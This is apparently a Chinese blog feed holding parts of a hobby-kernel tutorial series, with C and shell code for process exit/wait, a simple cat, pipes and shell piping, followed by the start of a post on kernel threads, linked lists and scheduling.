execv(abs_path, argv);
} else {
execv(argv[1], argv);
}
}
while(1);
return 0;
}

编译脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
####  此脚本应该在command目录下执行

if [[ ! -d "../lib" || ! -d "../build" ]];then
echo "dependent dir don\`t exist!"
cwd=$(pwd)
cwd=${cwd##*/}
cwd=${cwd%/}
if [[ $cwd != "command" ]];then
echo -e "you\`d better in command dir\n"
fi
exit
fi

BIN="prog_arg"
CFLAGS="-m32 -fno-stack-protector -Wall -c -fno-builtin -W -Wstrict-prototypes \
-Wmissing-prototypes -Wsystem-headers"
LIBS="-I ../lib -I ../lib/user -I ../fs"
OBJS="../build/string.o ../build/syscall.o \
../build/stdio.o ../build/assert.o start.o"
DD_IN=$BIN
DD_OUT="/home/guang/soft/bochs-2.6.2/bin/hd60M.img"

nasm -f elf ./start.S -o ./start.o
ar rcs simple_crt.a $OBJS start.o
gcc $CFLAGS $LIBS -o $BIN".o" $BIN".c"
ld -m elf_i386 $BIN".o" simple_crt.a -o $BIN
SEC_CNT=$(ls -l $BIN|awk '{printf("%d", ($5+511)/512)}')

if [[ -f $BIN ]];then
dd if=./$DD_IN of=$DD_OUT bs=512 \
count=$SEC_CNT seek=300 conv=notrunc
fi

########## 以上核心就是下面这五条命令 ##########
#nasm -f elf ./start.S -o ./start.o
#ar rcs simple_crt.a ../build/string.o ../build/syscall.o \
# ../build/stdio.o ../build/assert.o ./start.o
#gcc -m32 -fno-stack-protector -Wall -c -fno-builtin -W -Wstrict-prototypes -Wmissing-prototypes \
# -Wsystem-headers -I ../lib -o prog_no_arg.o prog_no_arg.c
#ld -m elf_i386 -e main prog_no_arg.o ../build/string.o ../build/syscall.o\
# ../build/stdio.o ../build/assert.o -o prog_no_arg
#dd if=prog_arg of=/home/guang/soft/bochs-2.6.2/bin/hd60M.img \
# bs=512 count=11 seek=300 conv=notrunc

最后测试一下效果

实现wait和exit

exit作用就是结束进程,wait作用是阻塞父进程自己,直到子进程结束运行,若没有子进程则返回-1,若有则遍历找到其子进程然后等待子进程退出后唤醒父进程。exit是由子进程调用,表面上功能是使子进程结束运行并传递返回值给内核,本质上内核在幕后会将进程除pcb以外的所有资源回收。wait是父进程调用的,表面上功能是使父进程阻塞自己,直到进程调用exit结束运行,然后获得子进程返回值,本质上是内核在幕后将子进程的返回值传递给父进程并唤醒父进程,然后将子进程的pcb回收。下面是实现部分,首先是释放用户进程资源的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
/* 释放用户进程资源: 
* 1 页表中对应的物理页
* 2 虚拟内存池占物理页框
* 3 关闭打开的文件 */
static void release_prog_resource(struct task_struct* release_thread) {
uint32_t* pgdir_vaddr = release_thread->pgdir;
uint16_t user_pde_nr = 768, pde_idx = 0;
uint32_t pde = 0;
uint32_t* v_pde_ptr = NULL; // v表示var,和函数pde_ptr区分

uint16_t user_pte_nr = 1024, pte_idx = 0;
uint32_t pte = 0;
uint32_t* v_pte_ptr = NULL; // 加个v表示var,和函数pte_ptr区分

uint32_t* first_pte_vaddr_in_pde = NULL;// 用来记录pde中第0个pte的地址
uint32_t pg_phy_addr = 0;

/* 回收页表中用户空间的页框 */
while (pde_idx < user_pde_nr) {
v_pde_ptr = pgdir_vaddr + pde_idx;
pde = *v_pde_ptr;
if (pde & 0x00000001) { // 如果页目录项p位为1,表示该页目录项下可能有页表项
first_pte_vaddr_in_pde = pte_ptr(pde_idx * 0x400000); // 一个页表表示的内存容量是4M,即0x400000
pte_idx = 0;
while (pte_idx < user_pte_nr) {
v_pte_ptr = first_pte_vaddr_in_pde + pte_idx;
pte = *v_pte_ptr;
if (pte & 0x00000001) {
/* 将pte中记录的物理页框直接在相应内存池的位图中清0 */
pg_phy_addr = pte & 0xfffff000;
free_a_phy_page(pg_phy_addr);
}
pte_idx++;
}
/* 将pde中记录的物理页框直接在相应内存池的位图中清0 */
pg_phy_addr = pde & 0xfffff000;
free_a_phy_page(pg_phy_addr);
}
pde_idx++;
}

/* 回收用户虚拟地址池所占的物理内存*/
uint32_t bitmap_pg_cnt = (release_thread->userprog_vaddr.vaddr_bitmap.btmp_bytes_len) / PG_SIZE;
uint8_t* user_vaddr_pool_bitmap = release_thread->userprog_vaddr.vaddr_bitmap.bits;
mfree_page(PF_KERNEL, user_vaddr_pool_bitmap, bitmap_pg_cnt);

/* 关闭进程打开的文件 */
uint8_t fd_idx = 3;
while(fd_idx < MAX_FILES_OPEN_PER_PROC) {
if (release_thread->fd_table[fd_idx] != -1) {
sys_close(fd_idx);
}
fd_idx++;
}
}

下面是list_traversal回调三个函数,find_child功能是查找pelem的parent_pid是否是ppid,具体实现就是找父进程pid为ppid的子进程。find_hanging_child负责查找状态为TASK_HANGING的任务。init_adopt_a_child负责将一个子进程过继给init,使init作为该进程的父进程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/* list_traversal的回调函数,
* 查找pelem的parent_pid是否是ppid,成功返回true,失败则返回false */
static bool find_child(struct list_elem* pelem, int32_t ppid) {
/* elem2entry中间的参数all_list_tag取决于pelem对应的变量名 */
struct task_struct* pthread = elem2entry(struct task_struct, all_list_tag, pelem);
if (pthread->parent_pid == ppid) { // 若该任务的parent_pid为ppid,返回
return true; // list_traversal只有在回调函数返回true时才会停止继续遍历,所以在此返回true
}
return false; // 让list_traversal继续传递下一个元素
}

/* list_traversal的回调函数,
* 查找状态为TASK_HANGING的任务 */
static bool find_hanging_child(struct list_elem* pelem, int32_t ppid) {
struct task_struct* pthread = elem2entry(struct task_struct, all_list_tag, pelem);
if (pthread->parent_pid == ppid && pthread->status == TASK_HANGING) {
return true;
}
return false;
}

/* list_traversal的回调函数,
* 将一个子进程过继给init */
static bool init_adopt_a_child(struct list_elem* pelem, int32_t pid) {
struct task_struct* pthread = elem2entry(struct task_struct, all_list_tag, pelem);
if (pthread->parent_pid == pid) { // 若该进程的parent_pid为pid,返回
pthread->parent_pid = 1;
}
return false;// 让list_traversal继续传递下一个元素
}

下面就是sys_wait和sys_exit的具体实现,注释比较详尽

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
/* 等待子进程调用exit,将子进程的退出状态保存到status指向的变量.
* 成功则返回子进程的pid,失败则返回-1 */
pid_t sys_wait(int32_t* status) {
struct task_struct* parent_thread = running_thread(); // 获得当前任务,也就是父进程parent_thread

while(1) {
/* 优先处理已经是挂起状态的任务 */
struct list_elem* child_elem = list_traversal(&thread_all_list, find_hanging_child, parent_thread->pid);
/* 若有挂起的子进程 */
if (child_elem != NULL) {
struct task_struct* child_thread = elem2entry(struct task_struct, all_list_tag, child_elem);
*status = child_thread->exit_status;

/* thread_exit之后,pcb会被回收,因此提前获取pid */
uint16_t child_pid = child_thread->pid;

/* 2 从就绪队列和全部队列中删除进程表项*/
thread_exit(child_thread, false); // 传入false,使thread_exit调用后回到此处
/* 进程表项是进程或线程的最后保留的资源, 至此该进程彻底消失了 */

return child_pid;
}

/* 判断是否有子进程 */
child_elem = list_traversal(&thread_all_list, find_child, parent_thread->pid);
if (child_elem == NULL) { // 若没有子进程则出错返回
return -1;
} else {
/* 若子进程还未运行完,即还未调用exit,则将自己挂起,直到子进程在执行exit时将自己唤醒 */
thread_block(TASK_WAITING);
}
}
}

/* 子进程用来结束自己时调用 */
void sys_exit(int32_t status) {
struct task_struct* child_thread = running_thread(); // 获得自己的pcb,也就是child_thread
child_thread->exit_status = status; // 将status存入自己pcb的exit_status
if (child_thread->parent_pid == -1) {
PANIC("sys_exit: child_thread->parent_pid is -1\n");
}

/* 将进程child_thread的所有子进程都过继给init */
list_traversal(&thread_all_list, init_adopt_a_child, child_thread->pid);

/* 回收进程child_thread的资源 */
release_prog_resource(child_thread);

/* 如果父进程正在等待子进程退出,将父进程唤醒 */
struct task_struct* parent_thread = pid2thread(child_thread->parent_pid);
if (parent_thread->status == TASK_WAITING) {
thread_unblock(parent_thread);
}

/* 将自己挂起,等待父进程获取其status,并回收其pcb */
thread_block(TASK_HANGING);
}

实现cat

cat负责查看文件内容,我们这里实现一个简单的cat,只支持一个参数,下面是实现,首先判断参数是否为一个,然后用malloc申请1024字节的内存用作缓冲区buf,512字节的abs_path用于存储参数的绝对路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include "syscall.h"
#include "stdio.h"
#include "string.h"
int main(int argc, char** argv) {
if (argc > 2 || argc == 1) {
printf("cat: only support 1 argument.\neg: cat filename\n");
exit(-2);
}
int buf_size = 1024;
char abs_path[512] = {0};
void* buf = malloc(buf_size);
if (buf == NULL) {
printf("cat: malloc memory failed\n");
return -1;
}
if (argv[1][0] != '/') {
getcwd(abs_path, 512);
strcat(abs_path, "/");
strcat(abs_path, argv[1]);
} else {
strcpy(abs_path, argv[1]);
}
int fd = open(abs_path, O_RDONLY);
if (fd == -1) {
printf("cat: open: open %s failed\n", argv[1]);
return -1;
}
int read_bytes= 0;
while (1) {
read_bytes = read(fd, buf, buf_size);
if (read_bytes == -1) { // 返回-1也就读到了文件尾
break;
}
write(1, buf, read_bytes);
}
free(buf);
close(fd);
return 66;
}

下面修改shell.c的文件,把之前的while(1)替换掉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
    } else {      // 如果是外部命令,需要从磁盘上加载
int32_t pid = fork();
if (pid) { // 父进程
int32_t status;
int32_t child_pid = wait(&status); // 此时子进程若没有执行exit,my_shell会被阻塞,不再响应键入的命令
if (child_pid == -1) { // 按理说程序正确的话不会执行到这句,fork出的进程便是shell子进程
panic("my_shell: no child\n");
}
printf("child_pid %d, it's status: %d\n", child_pid, status);
} else { // 子进程
make_clear_abs_path(argv[0], final_path);
argv[0] = final_path;
/* 先判断下文件是否存在 */
struct stat file_stat;
memset(&file_stat, 0, sizeof(struct stat));
if (stat(argv[0], &file_stat) == -1) {
printf("my_shell: cannot access %s: No such file or directory\n", argv[0]);
exit(-1);
} else {
execv(argv[0], argv);
}
}
}

下面是main中测试代码,把cat写入分区sda的根目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int main(void) {
put_str("Welcome to TJ's kernel\n");
init_all();

/************* 写入应用程序 *************/
uint32_t file_size = 5476;
uint32_t sec_cnt = DIV_ROUND_UP(file_size, 512);
struct disk* sda = &channels[0].devices[0];
void* prog_buf = sys_malloc(file_size);
ide_read(sda, 300, prog_buf, sec_cnt);
int32_t fd = sys_open("/cat", O_CREAT|O_RDWR);
if (fd != -1) {
if(sys_write(fd, prog_buf, file_size) == -1) {
printk("file write error!\n");
while(1);
}
}
/************* 写入应用程序结束 *************/
cls_screen();
console_put_str("[rabbit@localhost /]$ ");
thread_exit(running_thread(), true); // 退出主线程
return 0;
}

/* init进程 */
void init(void) {
uint32_t ret_pid = fork();
if(ret_pid) { // 父进程
int status;
int child_pid;
/* init在此处不停的回收僵尸进程 */
while(1) {
child_pid = wait(&status);
printf("I`m init, My pid is 1, I recieve a child, It`s pid is %d, status is %d\n", child_pid, status);
}
} else { // 子进程
my_shell();
}
panic("init: should not be here");
}

测试结果如下

管道

管道原理

进程虽然是独立的,但有很多相互通信的例子,比如进程A传消息给进程B等,实现这种相互通信的机制有很多方法,如消息队列、共享内存、socket网络通信等,还有一种就是我们要实现的管道。Linux中一切皆文件,故管道也是文件,只是其存在于内存中,仍然可以用open、close等函数操作。管道通常被多个进程共享,其原理是所有进程在地址空间中都可以访问它,也就是内核中的内存缓冲区。

管道是数据的一个中转站,当某个进程往管道中写入数据后,该数据就会被另一个进程读取,之后用新的数据覆盖旧数据,既然是一块数据缓存区,就应该有一个大小。但是由于写入的数据大小是不确定的,这块缓存区的大小很难确定下来,一般来说会使用环形缓存区来存储数据,通过生产者消费者模型对这块环形缓冲区的数据进行读写。这个环形缓冲区用两个指针来维护,一个专门负责读,一个专门负责写,当缓冲区数据满时,生产者睡眠并唤醒消费者。缓冲区空时,消费者睡眠,唤醒生产者。

管道有两端,一端用来读,一端用来写。这个两端的概念实质上是内核为一个管道分配了两个文件描述符,一个负责写,一个负责读。它的模型如下图

管道不可能字节读写自己,所以一般操作是创建管道之后,fork子进程,这个子进程和父进程资源一样,所以两者可以相互实现通信,如下图所示

管道分为匿名管道和命名管道,其区别就是名称,没有名称也就只能用内核返回的文件描述符访问,仅仅局限于父子进程通信。有名称就可以实现对所有进程通信。

Linux为了向文件系统的上层提供统一接口,加了一层中间层VFS(virtual file system),Linux处理管道时是利用现有的文件结构和VFS中inode共同完成的,并没有为管道提供另外的数据结构。如下图所示,文件结构中的f_indoe指向VFS的inode,该inode指向一个页框大小的内存区域,该区域用于存储管道的数据,也就是说Linux的管道大小是4096字节

我们的管道设计图如下

管道实现

Linux创建管道方法是系统调用pipe,原型是int pipe(int pipefd[2]),成功返回0,失败返回-1,其中pipefd[2]是长度为2的整型数组,用于存储系统返回的文件描述符,fd[0]用于读取管道,fd[1]用于写入管道。下面是创建管道

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/* 判断文件描述符local_fd是否是管道 */
bool is_pipe(uint32_t local_fd)
{
uint32_t global_fd = fd_local2global(local_fd);
return file_table[global_fd].fd_flag == PIPE_FLAG;
}

/* 创建管道,成功返回0,失败返回-1 */
int32_t sys_pipe(int32_t pipefd[2])
{
int32_t global_fd = get_free_slot_in_global();

/* 申请一页内核内存做环形缓冲区 */
file_table[global_fd].fd_inode = get_kernel_pages(1);

/* 初始化环形缓冲区 */
ioqueue_init((struct ioqueue *)file_table[global_fd].fd_inode);
if (file_table[global_fd].fd_inode == NULL)
{
return -1;
}

/* 将fd_flag复用为管道标志 */
file_table[global_fd].fd_flag = PIPE_FLAG;

/* 将fd_pos复用为管道打开数 */
file_table[global_fd].fd_pos = 2;
pipefd[0] = pcb_fd_install(global_fd);
pipefd[1] = pcb_fd_install(global_fd);
return 0;
}

读取管道中数据,从文件描述符fd中读取count字节到buf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/* 从管道中读数据 */
uint32_t pipe_read(int32_t fd, void* buf, uint32_t count) {
char* buffer = buf;
uint32_t bytes_read = 0;
uint32_t global_fd = fd_local2global(fd);

/* 获取管道的环形缓冲区 */
struct ioqueue* ioq = (struct ioqueue*)file_table[global_fd].fd_inode;

/* 选择较小的数据读取量,避免阻塞 */
uint32_t ioq_len = ioq_length(ioq);
uint32_t size = ioq_len > count ? count : ioq_len;
while (bytes_read < size) {
*buffer = ioq_getchar(ioq);
bytes_read++;
buffer++;
}
return bytes_read;
}

向管道中写入数据,把缓冲区buf中的count个字节写入管道对应的文件描述符fd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* 往管道中写数据 */
uint32_t pipe_write(int32_t fd, const void* buf, uint32_t count) {
uint32_t bytes_write = 0;
uint32_t global_fd = fd_local2global(fd);
struct ioqueue* ioq = (struct ioqueue*)file_table[global_fd].fd_inode;

/* 选择较小的数据写入量,避免阻塞 */
uint32_t ioq_left = bufsize - ioq_length(ioq);
uint32_t size = ioq_left > count ? count : ioq_left;

const char* buffer = buf;
while (bytes_write < size) {
ioq_putchar(ioq, *buffer);
bytes_write++;
buffer++;
}
return bytes_write;
}

下面是利用管道实现进程间通信的代码,下面就不测试了,直接最后一起测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include "stdio.h"
#include "syscall.h"
#include "string.h"
int main(int argc, char** argv) {
int32_t fd[2] = {-1};
pipe(fd);
int32_t pid = fork();
if(pid) { // 父进程
close(fd[0]); // 关闭输入
write(fd[1], "Hi, my son, I love you!", 24);
printf("\nI`m father, my pid is %d\n", getpid());
return 8;
} else {
close(fd[1]); // 关闭输出
char buf[32] = {0};
read(fd[0], buf, 24);
printf("\nI`m child, my pid is %d\n", getpid());
printf("I`m child, my father said to me: \"%s\"\n", buf);
return 9;
}
}

接下来我们需要在shell中支持管道命令,管道命令如下

1
ps -ef | grep xxx

管道之所以可以这样使用,是进行了输入输出重定向。通常情况下键盘是输入,屏幕是输入。这就是标准输入与标准输出。而输入输出重定向就是改变输入输出的位置,比如从文件中读取输入称为输入重定向,将结果输出到文件中称为输出重定向。管道的作用就是利用了输入输出重定向的与原理,将一个命令的输出作为另一个命令的输入来使用。管道符左边命令的输出数据会作为右边命令的输入数据使用。实现的时候就需要把旧的文件描述符替换为新的文件描述符,如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* 将文件描述符old_local_fd重定向为new_local_fd */
void sys_fd_redirect(uint32_t old_local_fd, uint32_t new_local_fd)
{
task_struct *cur = running_thread();
/* 恢复标准描述符 */
if (new_local_fd < 3)
{
cur->fd_table[old_local_fd] = new_local_fd;
}
else
{
uint32_t new_global_fd = cur->fd_table[new_local_fd];
cur->fd_table[old_local_fd] = new_global_fd;
}
}

下面是shell中增加的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
/* 执行命令 */
static void cmd_execute(uint32_t argc, char** argv) {
if (!strcmp("ls", argv[0])) {
buildin_ls(argc, argv);
} else if (!strcmp("cd", argv[0])) {
if (buildin_cd(argc, argv) != NULL) {
memset(cwd_cache, 0, MAX_PATH_LEN);
strcpy(cwd_cache, final_path);
}
} else if (!strcmp("pwd", argv[0])) {
[...]
}

char* argv[MAX_ARG_NR] = {NULL};
int32_t argc = -1;
/* 简单的shell */
void my_shell(void) {
cwd_cache[0] = '/';
while (1) {
print_prompt();
memset(final_path, 0, MAX_PATH_LEN);
memset(cmd_line, 0, MAX_PATH_LEN);
readline(cmd_line, MAX_PATH_LEN);
if (cmd_line[0] == 0) { // 若只键入了一个回车
continue;
}

/* 针对管道的处理 */
char* pipe_symbol = strchr(cmd_line, '|');
if (pipe_symbol) {
/* 支持多重管道操作,如cmd1|cmd2|..|cmdn,
* cmd1的标准输出和cmdn的标准输入需要单独处理 */

/*1 生成管道*/
int32_t fd[2] = {-1}; // fd[0]用于输入,fd[1]用于输出
pipe(fd);
/* 将标准输出重定向到fd[1],使后面的输出信息重定向到内核环形缓冲区 */
fd_redirect(1,fd[1]);

/*2 第一个命令 */
char* each_cmd = cmd_line;
pipe_symbol = strchr(each_cmd, '|');
*pipe_symbol = 0;

/* 执行第一个命令,命令的输出会写入环形缓冲区 */
argc = -1;
argc = cmd_parse(each_cmd, argv, ' ');
cmd_execute(argc, argv);

/* 跨过'|',处理下一个命令 */
each_cmd = pipe_symbol + 1;

/* 将标准输入重定向到fd[0],使之指向内核环形缓冲区*/
fd_redirect(0,fd[0]);
/*3 中间的命令,命令的输入和输出都是指向环形缓冲区 */
while ((pipe_symbol = strchr(each_cmd, '|'))) {
*pipe_symbol = 0;
argc = -1;
argc = cmd_parse(each_cmd, argv, ' ');
cmd_execute(argc, argv);
each_cmd = pipe_symbol + 1;
}

/*4 处理管道中最后一个命令 */
/* 将标准输出恢复屏幕 */
fd_redirect(1,1);

/* 执行最后一个命令 */
argc = -1;
argc = cmd_parse(each_cmd, argv, ' ');
cmd_execute(argc, argv);

/*5 将标准输入恢复为键盘 */
fd_redirect(0,0);

/*6 关闭管道 */
close(fd[0]);
close(fd[1]);
} else {// 一般无管道操作的命令
argc = -1;
argc = cmd_parse(cmd_line, argv, ' ');
if (argc == -1) {
printf("num of arguments exceed %d\n", MAX_ARG_NR);
continue;
}
cmd_execute(argc, argv);
}
}
panic("my_shell: should not be here");
}

最后增加一个help功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* 显示系统支持的内部命令 */
void sys_help(void) {
printk("\
buildin commands:\n\
ls: show directory or file information\n\
cd: change current work directory\n\
mkdir: create a directory\n\
rmdir: remove a empty directory\n\
rm: remove a regular file\n\
pwd: show current work directory\n\
ps: show process information\n\
clear: clear screen\n\
shortcut key:\n\
ctrl+l: clear screen\n\
ctrl+u: clear input\n\n");
}

我们测试一下

image-20200618104505278

所有代码我打包在了 -> 这里

]]>
<h1 id="编写硬盘驱动程序"><a href="#编写硬盘驱动程序" class="headerlink" title="编写硬盘驱动程序"></a>编写硬盘驱动程序</h1><h2 id="创建新磁盘文件"><a href="#创建新磁盘文件" class="header
简单内核实现笔记-part-3 https://thunderjie.github.io/2020/05/15/简单内核实现笔记-part-3/ 2020-05-14T23:57:22.000Z 2020-06-18T03:11:34.653Z 进程与线程

线程和进程的概念不用多说大家肯定都比较熟悉,线程是具有能动性、执行力、独立性的代码块。进程 = 线程+资源。那么下面代码中你能区别普通函数和线程函数的区别么?我们知道普通的函数之间发生函数调用的时候,要进行压栈的一系列操作,然后调用,它需要依赖程序上下文的环境。而线程函数则是自己提供一套上下文环境,使其更加具有独立性的在处理器上执行。二者的区别也主要是上下文环境。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void threadFunc(void *arg)
{
printf("this is thread\n");
}

void func()
{
printf("this is function\n");
}

int main()
{
printf("this is main\n");

_beginthread(threadFunc, 0, NULL);
func();

return 0;
}

我们再来说说进程,操作系统为每个进程提供了一个PCB,用于记录此进程相关的信息,所有进程的PCB形成了一张表,这就是进程表,我们自己写的操作系统中PCB的结构是不固定的,其大致内容有寄存器映像、栈、pid、进程状态、优先级、父进程等,为了实现它,我们先创建thread目录,然后创建thread.c和.h文件,下面是PCB的结构,位于.h文件中

1
2
3
4
5
6
7
8
/* 进程或线程的pcb,程序控制块 */
struct task_struct {
uint32_t* self_kstack; // 各内核线程都用自己的内核栈
enum task_status status; // 记录线程状态
uint8_t priority; // 线程优先级
char name[16];
uint32_t stack_magic; // 用这串数字做栈的边界标记,用于检测栈的溢出
};

我们的线程是在内核中实现的,所以申请PCB结构的时候是从内核池进行操作的,下面看看初始化的内容,主要内容是给PCB的各字段赋值

1
2
3
4
5
6
7
8
9
10
/* 初始化线程基本信息 */
void init_thread(struct task_struct* pthread, char* name, int prio) {
memset(pthread, 0, sizeof(*pthread));
strcpy(pthread->name, name);
pthread->status = TASK_RUNNING;
pthread->priority = prio;
/* self_kstack是线程自己在内核态下使用的栈顶地址 */
pthread->self_kstack = (uint32_t*)((uint32_t)pthread + PG_SIZE);
pthread->stack_magic = 0x19870916; // 自定义的魔数
}

然后用thread_create初始化栈thread_stack,其中减去的操作主要是为了以后预留保存现场的空间

1
2
3
4
5
6
7
8
9
10
11
12
13
/* 初始化线程栈thread_stack,将待执行的函数和参数放到thread_stack中相应的位置 */
void thread_create(struct task_struct* pthread, thread_func function, void* func_arg) {
/* 先预留中断使用栈的空间,可见thread.h中定义的结构 */
pthread->self_kstack -= sizeof(struct intr_stack);

/* 再留出线程栈空间,可见thread.h中定义 */
pthread->self_kstack -= sizeof(struct thread_stack);
struct thread_stack* kthread_stack = (struct thread_stack*)pthread->self_kstack;
kthread_stack->eip = kernel_thread;
kthread_stack->function = function;
kthread_stack->func_arg = func_arg;
kthread_stack->ebp = kthread_stack->ebx = kthread_stack->esi = kthread_stack->edi = 0;
}

上面的function即使线程所执行的函数,这个函数并不是用call去调用,我们用的是ret指令进行调用,CPU执行哪条指令是通过EIP的指向来决定的,而ret指令在返回的时候,当前的栈顶就会被当做是返回地址。也就是说,我们可以把某个函数的地址放在栈顶,通过这个函数来执行线程函数。那么在ret返回的时候,就会进入我们指定的函数当中,这个函数就会来调用线程函数。下面就是启动线程的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/* 由kernel_thread去执行function(func_arg) */
static void kernel_thread(thread_func* function, void* func_arg) {
function(func_arg);
}

/* 创建一优先级为prio的线程,线程名为name,线程所执行的函数是function(func_arg) */
struct task_struct* thread_start(char* name, int prio, thread_func function, void* func_arg) {
/* pcb都位于内核空间,包括用户进程的pcb也是在内核空间 */
struct task_struct* thread = get_kernel_pages(1); // 申请一页内存用于放PCB

init_thread(thread, name, prio);
thread_create(thread, function, func_arg);

// ret的时候栈顶为kernel_thread进而去执行该函数
asm volatile ("movl %0, %%esp; pop %%ebp; pop %%ebx; pop %%edi; pop %%esi; ret" : : "g" (thread->self_kstack) : "memory");
return thread;
}

为了实验我们还需要在main.c中对thread_start进行调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include "print.h"
#include "init.h"
#include "thread.h"

void k_thread_a(void*);

int main(void) {
put_str("Welcome to TJ's kernel!\n");
init_all();

thread_start("k_thread_a", 31, k_thread_a, "argA ");

while(1);
return 0;
}

/* 在线程中运行的函数 */
void k_thread_a(void* arg) {
/* 用void*来通用表示参数,被调用的函数知道自己需要什么类型的参数,自己转换再用 */
char* para = arg;
while(1) {
put_str(para);
}
}

编译运行结果如下所示,测试成功

image-20200526104424200

多线程调度

为了提高效率,实现多线程调度,我们需要用数据结构对内核线程结构进行维护,首先我们需要在lib/kernel目录下增加队列结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#include "list.h"
#include "interrupt.h"

/* 初始化双向链表list */
void list_init (struct list* list) {
list->head.prev = NULL;
list->head.next = &list->tail;
list->tail.prev = &list->head;
list->tail.next = NULL;
}

/* 把链表元素elem插入在元素before之前 */
void list_insert_before(struct list_elem* before, struct list_elem* elem) {
enum intr_status old_status = intr_disable(); // 对队列是原子操作,中断需要关闭

/* 将before前驱元素的后继元素更新为elem, 暂时使before脱离链表*/
before->prev->next = elem;

/* 更新elem自己的前驱结点为before的前驱,
* 更新elem自己的后继结点为before, 于是before又回到链表 */
elem->prev = before->prev;
elem->next = before;

/* 更新before的前驱结点为elem */
before->prev = elem;

intr_set_status(old_status); // 恢复中断
}

/* 添加元素到列表队首,类似栈push操作 */
void list_push(struct list* plist, struct list_elem* elem) {
list_insert_before(plist->head.next, elem); // 在队头插入elem
}

/* 追加元素到链表队尾,类似队列的先进先出操作 */
void list_append(struct list* plist, struct list_elem* elem) {
list_insert_before(&plist->tail, elem); // 在队尾的前面插入
}

/* 使元素pelem脱离链表 */
void list_remove(struct list_elem* pelem) {
enum intr_status old_status = intr_disable();

pelem->prev->next = pelem->next;
pelem->next->prev = pelem->prev;

intr_set_status(old_status);
}

/* 将链表第一个元素弹出并返回,类似栈的pop操作 */
struct list_elem* list_pop(struct list* plist) {
struct list_elem* elem = plist->head.next;
list_remove(elem);
return elem;
}

/* 从链表中查找元素obj_elem,成功时返回true,失败时返回false */
bool elem_find(struct list* plist, struct list_elem* obj_elem) {
struct list_elem* elem = plist->head.next;
while (elem != &plist->tail) {
if (elem == obj_elem) {
return true;
}
elem = elem->next;
}
return false;
}

/* 把列表plist中的每个元素elem和arg传给回调函数func,
* arg给func用来判断elem是否符合条件.
* 本函数的功能是遍历列表内所有元素,逐个判断是否有符合条件的元素。
* 找到符合条件的元素返回元素指针,否则返回NULL. */
struct list_elem* list_traversal(struct list* plist, function func, int arg) {
struct list_elem* elem = plist->head.next;
/* 如果队列为空,就必然没有符合条件的结点,故直接返回NULL */
if (list_empty(plist)) {
return NULL;
}

while (elem != &plist->tail) {
if (func(elem, arg)) { // func返回ture则认为该元素在回调函数中符合条件,命中,故停止继续遍历
return elem;
} // 若回调函数func返回true,则继续遍历
elem = elem->next;
}
return NULL;
}

/* 返回链表长度 */
uint32_t list_len(struct list* plist) {
struct list_elem* elem = plist->head.next;
uint32_t length = 0;
while (elem != &plist->tail) {
length++;
elem = elem->next;
}
return length;
}

/* 判断链表是否为空,空时返回true,否则返回false */
bool list_empty(struct list* plist) {// 判断队列是否为空
return (plist->head.next == &plist->tail ? true : false);
}

多线程调度需要我们继续改进线程代码,我们用PCB中的general_tag字段作为节点链接所有PCB,其中还有一个ticks字段用于记录线程执行时间,ticks越大,优先级越高,时钟中断一次,ticks就会减一,当其为0的时候,调度器就会切换线程,选择另一个线程上处理器执行,然后打上TASK_RUNNING的标记,之后通过switch_to函数将新线程的寄存器环境恢复,这样新线程才得以执行,完整调度过程需要以下三步

  • 时钟中断处理函数
  • 调度器schedule
  • 任务切换函数switch_to

调度器主要实现如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/* 实现任务调度 */
void schedule() {

ASSERT(intr_get_status() == INTR_OFF);

struct task_struct* cur = running_thread(); // 获取线程PCB
if (cur->status == TASK_RUNNING) { // 若此线程只是cpu时间片到了,将其加入到就绪队列尾
ASSERT(!elem_find(&thread_ready_list, &cur->general_tag));
list_append(&thread_ready_list, &cur->general_tag);
cur->ticks = cur->priority; // 重新将当前线程的ticks再重置为其priority;
cur->status = TASK_READY;
} else {
/* 若此线程需要某事件发生后才能继续上cpu运行,
